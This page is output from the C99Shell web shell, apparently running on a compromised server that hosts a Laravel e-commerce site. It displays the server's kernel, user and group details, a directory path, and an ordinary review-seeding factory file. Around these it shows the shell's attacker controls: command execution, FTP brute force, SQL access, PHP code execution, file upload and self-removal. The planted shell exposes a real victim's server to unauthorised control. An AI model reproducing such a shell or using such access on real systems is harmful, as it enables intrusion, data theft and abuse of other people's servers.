!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/database/factories/   drwxr-xr-x
Free 28.8 GB of 117.98 GB (24.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReviewFactory.php (2.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Database\Factories;

use 
App\Models\Product;
use 
App\Models\Review;
use 
App\Models\User;
use 
Illuminate\Database\Eloquent\Factories\Factory;

class 
ReviewFactory extends Factory
{
    
/**
     * The name of the factory's corresponding model.
     *
     * @var string
     */
    
protected $model Review::class;

    private 
$reviewStart 2;
    private 
$reviewEnd 5;
    private 
$reviewUserIds = [];
    private 
$userIds = [];

    
/**
     * Define random digit starting and ending point.
     *
     * @param int $start
     * @param int $end
     * @return object $this
     */
    
public function setPoint($start$end)
    {
        
$this->reviewStart $start;
        
$this->reviewEnd $end;
        return 
$this;
    }

    
/**
     * Find unique user id for a product.
     *
     * @return int $userId
     */
    
public function uniqueUserId()
    {
        
$userId $this->faker->randomElement($this->userIds);
        if (
in_array($userId$this->reviewUserIds)) {
            return 
$this->uniqueUserId();
        }

        
$this->reviewUserIds[] = $userId;
        return 
$userId;
    }

    
/**
     * Define the model's default state.
     *
     * @return array $reviewData
     */
    
public function definition()
    {
        
$productIds Product::select('id')->where('status''Published')->whereNotNull('slug')->get()->pluck('id');
        
$this->userIds User::select('id')->get()->pluck('id');
        
$status = ['Active''Active''Inactive''Active''Active'];
        
$reviewData = [];

        if (
count($this->userIds) < $this->reviewEnd) {
            
$this->reviewEnd count($this->userIds);
        }

        foreach (
$productIds as $id) {
            for (
$i 1$i <= mt_rand($this->reviewStart$this->reviewEnd); $i++) {
                
$reviewData[] = [
                    
'comments' => $this->faker->text(mt_rand(20100)),
                    
'rating' => $this->faker->numberBetween(15),
                    
'reviewed_by' => NULL,
                    
'user_id' => $this->uniqueUserId(),
                    
'product_id' => $id,
                    
'is_public' => 1,
                    
'status' => $status[mt_rand(04)],
                    
'created_at' => randomDateBefore(30)
                ];
            }
            
$this->reviewUserIds = [];
        }
        return 
$reviewData;
    }



    
/**
     * Indicate that the model's email address should be unverified.
     *
     * @return \Illuminate\Database\Eloquent\Factories\Factory
     */
    
public function unverified()
    {
        return 
$this->state(function (array $attributes) {
            return [
                
'updated_at' => null,
            ];
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0078 ]--